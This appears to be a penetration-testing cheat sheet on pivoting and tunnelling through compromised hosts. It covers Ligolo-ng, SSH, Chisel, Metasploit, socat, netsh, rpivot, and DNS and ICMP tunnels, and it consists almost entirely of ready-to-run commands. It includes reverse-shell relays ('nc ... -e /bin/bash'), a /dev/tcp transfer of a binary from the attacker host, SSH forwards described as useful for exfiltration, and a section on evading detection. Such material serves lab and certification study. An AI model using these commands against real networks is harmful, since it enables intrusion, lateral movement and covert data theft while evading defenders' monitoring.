Pivoting & Tunneling

Establish network tunnels and SOCKS proxies to access internal networks through compromised hosts.
Essential for lateral movement when target networks are segmented and not directly accessible from the attacker machine.

Ligolo-ng

Setup Ligolo Interface (Attacker)

# Create tunnel interface
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up

# Verify interface
ip addr show ligolo

Start Ligolo Proxy (Attacker)

# Lab environment (self-signed cert)
./proxy -selfcert -laddr 0.0.0.0:11601

# Production (auto cert)
./proxy -autocert -laddr 0.0.0.0:11601

# Manual certificate
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=ligolo"
./proxy -laddr 0.0.0.0:11601 -certfile cert.pem -keyfile key.pem

Transfer and Run Agent (Target)

# Transfer agent
scp -i key agent root@10.10.10.10:/tmp/agent

# Run agent
./agent -connect 10.10.14.5:11601 -ignore-cert

# Run in background via SSH
ssh -i key root@10.10.10.10 "nohup ./agent -connect 10.10.14.5:11601 -ignore-cert > /dev/null 2>&1 &"

Configure Routing (Attacker)

# In ligolo-ng proxy console
session
# Select session (e.g., 1)

# View available networks
ifconfig

# Add route to internal network
sudo ip route add 172.16.5.0/24 dev ligolo

# Start tunnel
start

Auto-Routing

# In ligolo-ng session
autoroute
# Select the internal network interface

Port Forwarding with Ligolo

Forward for File Transfers

# Forward port 1337 to attacker's HTTP server
listener_add --addr 0.0.0.0:1337 --to 10.10.14.5:8000 --tcp

# On attacker
python3 -m http.server 8000

# On target (download via pivot)
wget http://172.16.5.10:1337/file.txt

Forward for Reverse Shells

# Forward port 8443 to attacker's listener
listener_add --addr 0.0.0.0:8443 --to 10.10.14.5:4444 --tcp

# On attacker
nc -lvnp 4444

# On internal target (connect via pivot)
nc 172.16.5.10 8443 -e /bin/bash

List and Delete Listeners

# List active listeners
listener_list

# Delete listener
listener_del
# Select listener to delete

Access Local Services (127.0.0.1)

# Add route for localhost access
sudo ip route add 240.0.0.1/32 dev ligolo

# Scan local services
nmap 240.0.0.1

Double Pivot (Pivot through Pivot)

Setup Second Tunnel Interface

# On attacker
sudo ip tuntap add user $USER mode tun ligolo-double
sudo ip link set ligolo-double up

Forward Ligolo Traffic Through First Pivot

# In first pivot session
listener_add --addr 172.16.5.10:11601 --to 10.10.14.5:11601 --tcp

Connect Second Agent

# On second pivot host
./agent -connect 172.16.5.10:11601 -ignore-cert

Route to Third Network

# Select second pivot session
session
# Select session 2

# View networks
ifconfig

# Add route to third network
sudo ip route add 172.16.3.0/24 dev ligolo-double

# Start tunnel
start --tun ligolo-double

Troubleshooting Ligolo

Delete Problematic Routes

# In ligolo console
route_del

# Manual deletion
sudo ip route del 172.16.5.0/24 dev ligolo

Delete Interface

sudo ip link delete ligolo
sudo ip link delete ligolo-double

Fix “File Already Exists” Error

# Show routes
sudo ip route show

# Delete specific route
sudo ip route del 172.16.5.0/24

SSH Tunneling

Dynamic Port Forwarding (SOCKS Proxy)

# Create SOCKS proxy on port 1080
ssh -D 1080 user@10.10.10.10

# No shell, just tunnel
ssh -N -D 1080 user@10.10.10.10

# Background process
ssh -f -N -D 1080 user@10.10.10.10

Configure Proxychains

# Edit proxychains config
sudo nano /etc/proxychains4.conf

# Add at bottom:
socks5 127.0.0.1 1080

# Use proxychains
proxychains nmap -sT -Pn 172.16.5.10
proxychains curl http://172.16.5.10

Local Port Forwarding

# Forward local port 8080 to remote service
ssh -L 8080:172.16.5.10:80 user@10.10.10.10

# Access via localhost
curl http://127.0.0.1:8080

# Forward to different host through pivot
ssh -L 9090:172.16.5.20:3389 user@10.10.10.10

Remote Port Forwarding

# Forward remote port 8080 to local service
ssh -R 8080:127.0.0.1:80 user@10.10.10.10

# Useful for exfiltration or reverse connections
ssh -R 4444:127.0.0.1:4444 user@10.10.10.10

SSH Tunnel Combinations

# Multiple local forwards
ssh -L 8080:172.16.5.10:80 -L 3389:172.16.5.20:3389 user@10.10.10.10

# Dynamic + Local forward
ssh -D 1080 -L 8080:172.16.5.10:80 user@10.10.10.10

# Keep alive
ssh -o ServerAliveInterval=60 -D 1080 user@10.10.10.10

Chisel

Installation and Compilation

# Clone repository
git clone https://github.com/jpillora/chisel.git
cd chisel

# Build
go build

# Reduce binary size
go build -ldflags="-s -w"

# Further compress with UPX
upx --brute chisel

Transfer Chisel

# Method 1: Netcat
# Attacker
cat chisel | nc -lvnp 9001

# Target
cat < /dev/tcp/10.10.14.5/9001 > chisel
chmod +x chisel

# Method 2: HTTP
python3 -m http.server 8000
wget http://10.10.14.5:8000/chisel

Forward Pivot (Target as Server)

Start Server on Target

# Target
./chisel server -p 9001 --socks5

Connect Client from Attacker

# Attacker
./chisel client 10.10.10.10:9001 socks

Reverse Pivot (Attacker as Server)

Start Server on Attacker

# Attacker
./chisel server --reverse -p 1234 --socks5

Connect Client from Target

# Target
./chisel client 10.10.14.5:1234 R:socks

Configure Proxychains for Chisel

# Edit proxychains config
sudo nano /etc/proxychains4.conf

# Add at bottom:
socks5 127.0.0.1 1080

# Use proxychains
proxychains nmap -sT -Pn 172.16.5.10

Chisel Port Forwarding

Local Port Forward

# Forward local 8080 to remote 80
./chisel client 10.10.10.10:9001 8080:172.16.5.10:80

# Access via localhost
curl http://127.0.0.1:8080

Remote Port Forward

# Attacker (server)
./chisel server --reverse -p 1234

# Target (client) - forward target's 8080 to attacker's 9090
./chisel client 10.10.14.5:1234 R:9090:127.0.0.1:8080

Metasploit Pivoting

Autoroute

# Add route through Meterpreter session
meterpreter> run autoroute -s 172.16.5.0/24

# List routes
meterpreter> run autoroute -p

# Use with auxiliary modules
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.5.10
set SESSION 1
run

Port Forwarding

# Forward local port to remote service
meterpreter> portfwd add -l 3389 -p 3389 -r 172.16.5.10

# List forwards
meterpreter> portfwd list

# Delete forward
meterpreter> portfwd delete -l 3389

SOCKS Proxy

# Start SOCKS proxy
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
run -j

# Configure proxychains and use
proxychains nmap -sT -Pn 172.16.5.10

Socat

Port Forwarding

# Forward port 8080 to 172.16.5.10:80
socat TCP-LISTEN:8080,fork TCP:172.16.5.10:80

# Bind shell relay
socat TCP-LISTEN:4444 TCP:172.16.5.10:4444

Reverse Shell Relay

# On pivot host
socat TCP-LISTEN:4444,fork TCP:10.10.14.5:4444

# On attacker
nc -lvnp 4444

# On internal target
nc 172.16.5.10 4444 -e /bin/bash

Netsh (Windows)

Port Forwarding

# Add port forward
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.5.10

# List forwards
netsh interface portproxy show all

# Delete forward
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

Rpivot (Reverse SOCKS)

Server on Attacker

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

Client on Target

python client.py --server-ip 10.10.14.5 --server-port 9999

Use with Proxychains

# Configure proxychains
socks4 127.0.0.1 1080

# Use proxychains
proxychains nmap -sT -Pn 172.16.5.10

DNS Tunneling

Dnscat2

Server (Attacker)

# Start dnscat2 server
ruby dnscat2.rb --dns domain=tunnel.com --secret=password

Client (Target)

# Connect client
./dnscat tunnel.com --secret=password

Iodine

Server (Attacker)

# Start iodine server
sudo iodined -f -c -P password 10.0.0.1 tunnel.com

Client (Target)

# Connect client
sudo iodine -f -P password tunnel.com

ICMP Tunneling

Ptunnel

Server (Attacker)

sudo ptunnel -x password

Client (Target)

sudo ptunnel -p 10.10.14.5 -lp 8000 -da 172.16.5.10 -dp 80 -x password

Notes

Ligolo-ng Advantages:

Fast and efficient
Multiple pivots support
Easy port forwarding
Auto-routing feature
Minimal setup required

SSH Tunneling:

Native on Linux systems
Encrypted by default
Dynamic (SOCKS) and static (port forward) options
Requires SSH access
Can be slow for large data transfers

Chisel:

Cross-platform (Windows, Linux, macOS)
Single binary
Reverse pivot support
SOCKS5 proxy
Can be compressed to small size

Metasploit Pivoting:

Integrated with Metasploit framework
Autoroute for easy routing
SOCKS proxy support
Port forwarding
Requires Meterpreter session

Tool Selection:

Ligolo-ng - Best overall, fast, feature-rich
SSH - When SSH access available, encrypted
Chisel - Cross-platform, firewall-friendly
Metasploit - When using Metasploit framework
Socat - Simple port forwarding
DNS/ICMP - When other protocols blocked

Proxychains Configuration:

Edit /etc/proxychains4.conf or /etc/proxychains.conf
Use socks5 for SOCKS5 proxies
Use socks4 for SOCKS4 proxies
Chain multiple proxies if needed
Use -q flag for quiet mode

Common Pitfalls:

Forgetting to add routes
Wrong SOCKS version in proxychains
Firewall blocking pivot traffic
Not starting tunnel after adding routes
Conflicting port forwards

Performance Considerations:

SSH tunneling can be slow
Ligolo-ng is fastest
DNS tunneling is very slow
ICMP tunneling is slow
Consider bandwidth when choosing tool

Detection Evasion:

DNS tunneling blends with normal DNS
ICMP tunneling uses ping packets
SSH tunneling is encrypted
Chisel can use HTTP/HTTPS
Avoid obvious port numbers

Troubleshooting:

Verify routes with ip route show
Check firewall rules
Test connectivity with ping/nmap
Verify proxy is listening
Check proxychains configuration
Use verbose mode for debugging